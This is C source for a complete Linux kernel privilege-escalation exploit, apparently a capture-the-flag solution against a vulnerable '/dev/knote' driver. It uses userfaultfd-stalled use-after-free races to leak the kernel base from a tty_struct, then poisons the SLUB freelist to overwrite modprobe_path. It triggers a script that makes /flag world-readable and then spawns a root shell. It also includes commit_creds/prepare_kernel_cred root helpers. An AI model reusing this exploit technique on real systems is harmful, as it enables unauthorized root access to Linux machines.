#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>

void * kernel_base = 0xffffffff81000000;
size_t kernel_offset = 0;

static pthread_t monitor_thread;

void errExit(char * msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    exit(EXIT_FAILURE);
}

void registerUserFaultFd(void * addr, unsigned long len, void (*handler)(void*))
{
    long uffd;
    struct uffdio_api uffdio_api;
    struct uffdio_register uffdio_register;
    int s;

    /* Create and enable userfaultfd object */
    uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
    if (uffd == -1)
        errExit("userfaultfd");

    uffdio_api.api = UFFD_API;
    uffdio_api.features = 0;
    if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
        errExit("ioctl-UFFDIO_API");

    uffdio_register.range.start = (unsigned long) addr;
    uffdio_register.range.len = len;
    uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
    if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
        errExit("ioctl-UFFDIO_REGISTER");

    s = pthread_create(&monitor_thread, NULL, handler, (void *) uffd);
    if (s != 0)
        errExit("pthread_create");
}

size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

size_t commit_creds = NULL, prepare_kernel_cred = NULL;
void getRootPrivilige(void)
{
    void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred;
    int (*commit_creds_ptr)(void *) = commit_creds;
    (*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}

void getRootShell(void)
{   
    puts("\033[32m\033[1m[+] Backing from the kernelspace.\033[0m");

    if(getuid())
    {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        exit(-1);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m");
    system("/bin/sh");
    exit(0);// to exit the process normally instead of segmentation fault
}

/* ------ kernel structure ------ */

struct file_operations;
struct tty_struct;
struct tty_driver;
struct serial_icounter_struct;

struct tty_operations {
    struct tty_struct * (*lookup)(struct tty_driver *driver,
            struct file *filp, int idx);
    int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
    void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
    int  (*open)(struct tty_struct * tty, struct file * filp);
    void (*close)(struct tty_struct * tty, struct file * filp);
    void (*shutdown)(struct tty_struct *tty);
    void (*cleanup)(struct tty_struct *tty);
    int  (*write)(struct tty_struct * tty,
              const unsigned char *buf, int count);
    int  (*put_char)(struct tty_struct *tty, unsigned char ch);
    void (*flush_chars)(struct tty_struct *tty);
    int  (*write_room)(struct tty_struct *tty);
    int  (*chars_in_buffer)(struct tty_struct *tty);
    int  (*ioctl)(struct tty_struct *tty,
            unsigned int cmd, unsigned long arg);
    long (*compat_ioctl)(struct tty_struct *tty,
                 unsigned int cmd, unsigned long arg);
    void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
    void (*throttle)(struct tty_struct * tty);
    void (*unthrottle)(struct tty_struct * tty);
    void (*stop)(struct tty_struct *tty);
    void (*start)(struct tty_struct *tty);
    void (*hangup)(struct tty_struct *tty);
    int (*break_ctl)(struct tty_struct *tty, int state);
    void (*flush_buffer)(struct tty_struct *tty);
    void (*set_ldisc)(struct tty_struct *tty);
    void (*wait_until_sent)(struct tty_struct *tty, int timeout);
    void (*send_xchar)(struct tty_struct *tty, char ch);
    int (*tiocmget)(struct tty_struct *tty);
    int (*tiocmset)(struct tty_struct *tty,
            unsigned int set, unsigned int clear);
    int (*resize)(struct tty_struct *tty, struct winsize *ws);
    int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
    int (*get_icount)(struct tty_struct *tty,
                struct serial_icounter_struct *icount);
    void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
    int (*poll_init)(struct tty_driver *driver, int line, char *options);
    int (*poll_get_char)(struct tty_driver *driver, int line);
    void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
    const struct file_operations *proc_fops;
};

#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include "kernelpwn.h"

#define DO_SAK_WORK 0xffffffff815d4ef0
#define MODPROBE_PATH 0xffffffff8245c5c0

#define TTY_STRUCT_SIZE 0x2e0

static char cat_flag[] = "#!/bin/sh\nchmod 777 /flag";

static long page_size;
static sem_t sem_add, sem_edit;
static char * buf; // for userfaultfd

static char *page = NULL;
static void *
fault_handler_thread(void *arg)
{
    struct uffd_msg msg;
    int fault_cnt = 0;
    long uffd;

    struct uffdio_copy uffdio_copy;
    ssize_t nread;

    uffd = (long) arg;

    for (;;) 
    {
        struct pollfd pollfd;
        int nready;
        pollfd.fd = uffd;
        pollfd.events = POLLIN;
        nready = poll(&pollfd, 1, -1);

        if (nready == -1)
            errExit("poll");

        nread = read(uffd, &msg, sizeof(msg));

        sleep(10);

        if (nread == 0)
            errExit("EOF on userfaultfd!\n");

        if (nread == -1)
            errExit("read");

        if (msg.event != UFFD_EVENT_PAGEFAULT)
            errExit("Unexpected event on userfaultfd\n");

        uffdio_copy.src = (unsigned long) page;
        uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
                                              ~(page_size - 1);
        uffdio_copy.len = page_size;
        uffdio_copy.mode = 0;
        uffdio_copy.copy = 0;
        if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
            errExit("ioctl-UFFDIO_COPY");

        return NULL;
    }
}

typedef struct
{
    union
    {
        size_t size;
        size_t index;
    };
    char * buf;
} Chunk;

long knote_fd;

void chunkAdd(size_t size)
{
    Chunk chunk = 
    {
        .size = size,
    };
    ioctl(knote_fd, 0x1337, &chunk);
}

void chunkEdit(size_t index, char * buf)
{
    Chunk chunk = 
    {
        .index = index,
        .buf = buf,
    };
    ioctl(knote_fd, 0x8888, &chunk);
}

void chunkGet(size_t index, char * buf)
{
    Chunk chunk = 
    {
        .index = index,
        .buf = buf,
    };
    ioctl(knote_fd, 0x2333, &chunk);
}

void chunkDel(size_t index)
{
    Chunk chunk = 
    {
        .index = index,
    };
    ioctl(knote_fd, 0x6666, &chunk);
}

int main(int argc, char ** argv, char ** envp)
{
    int tty_fd, pid, fd;
    size_t modprobe_path, temp[0x100];
    char * buf2, flag[0x100];
    FILE * file = NULL;

    saveStatus();
    page_size = sysconf(_SC_PAGE_SIZE);
    buf = (char*) mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    buf2 = (char*) mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    page = malloc(0x1000);
    memset(page, 'A', 0x1000);
    strcpy(page, "arttnba3");

    // create reverse shell file
    fd = open("/getshell", O_RDWR | O_CREAT);
    write(fd, cat_flag, sizeof(cat_flag));
    close(fd);
    system("chmod +x /getshell");

    // register userfaultfd
    registerUserFaultFd(buf, 0x1000, fault_handler_thread);
    registerUserFaultFd(buf2, 0x1000, fault_handler_thread);

    knote_fd = open("/dev/knote", O_RDWR);

    // read saved data(if existed)
    fd = open("kernel_addr.txt", O_RDWR);
    if (fd > 0)
    {
        close(fd);
        file = fopen("/kernel_addr.txt", "r");
        if (file)
        {
            fscanf(file, "%llx %llx", &kernel_base, &kernel_offset);
            goto exploit;
        }
    }

    // leak kernel base from tty struct by reading a free chunk
    chunkAdd(TTY_STRUCT_SIZE);
    pid = fork();
    if (pid < 0)
        errExit("FAILED to fork the child");
    else if (pid == 0) // child to free the chunk
    {
        puts("[\033[34m\033[1m*\033[0m] Chile process sleeping now...");
        sleep(2);
        puts("[\033[34m\033[1m*\033[0m] Chile process started.");
        chunkDel(0);
        sleep(1);
        tty_fd = open("/dev/ptmx", O_RDWR);
        puts("[\033[34m\033[1m*\033[0m] Object free and tty got open. Backing parent thread...");
        exit(0);
    }
    else
    {
        puts("[\033[34m\033[1m*\033[0m] Parent process trapped in userfaultfd...");
        chunkGet(0, buf);
    }

    for (int i = 0; i < 0x58; i++)
        printf("[----data-dump----] %d: %p\n", i, *((unsigned long long*)(buf) + i));

    if (*((unsigned long long*)(buf) + 86))
        puts("[\033[32m\033[1m+\033[0m] Successfully hit the tty_struct.");
    else
        errExit("Failed to hit the tty struct.");

    kernel_offset = *((unsigned long long*)(buf) + 86) - DO_SAK_WORK;
    kernel_base = (void*) ((size_t)kernel_base + kernel_offset);

    file = fopen("/kernel_addr.txt", "w");
    if (!file)
        errExit("Unable to create temp file.");
    fprintf(file, "%llx %llx", kernel_base, kernel_offset);
    fclose(file);

exploit:
    modprobe_path = MODPROBE_PATH + kernel_offset;
    printf("[\033[34m\033[1m*\033[0m] Kernel offset: 0x%llx\n", kernel_offset);
    printf("[\033[32m\033[1m+\033[0m] Kernel base: %p\n", kernel_base);
    printf("[\033[32m\033[1m+\033[0m] modprobe_path: %p\n", modprobe_path);

    // hijack the freelist in slub
    chunkAdd(0x100);
    memcpy(page, &modprobe_path, 8); // object->next
    memcpy(((unsigned long long*)(page) + 1), "arttnba3", 8);
    pid = fork();
    if (pid < 0)
        errExit("FAILED to fork the child");
    else if (pid == 0) // child to free the chunk
    {
        puts("[\033[34m\033[1m*\033[0m] Chile process sleeping now...");
        sleep(2);
        puts("[\033[34m\033[1m*\033[0m] Chile process started.");
        chunkDel(0);
        puts("[\033[34m\033[1m*\033[0m] Object free and tty got open. Backing parent thread...");
        exit(0);
    }
    else
    {
        puts("[\033[34m\033[1m*\033[0m] Parent process trapped in userfaultfd...");
        chunkEdit(0, buf2);
    }

    // hijack the modprobe_path
    chunkAdd(0x100);
    chunkAdd(0x100);
    chunkEdit(1, "/getshell");

    // trigger the modprobe_path
    system("echo -e '\\xff\\xff\\xff\\xff' > /fake");
    system("chmod +x /fake");
    system("/fake");

    // get flag
    sleep(1);
    fd = open("/flag", O_RDWR);
    if (fd < 0)
        errExit("FAILED to hijack!");
    read(fd, flag, 0x100);
    write(1, flag, 0x100);
    system("/bin/sh");

    return 0;
}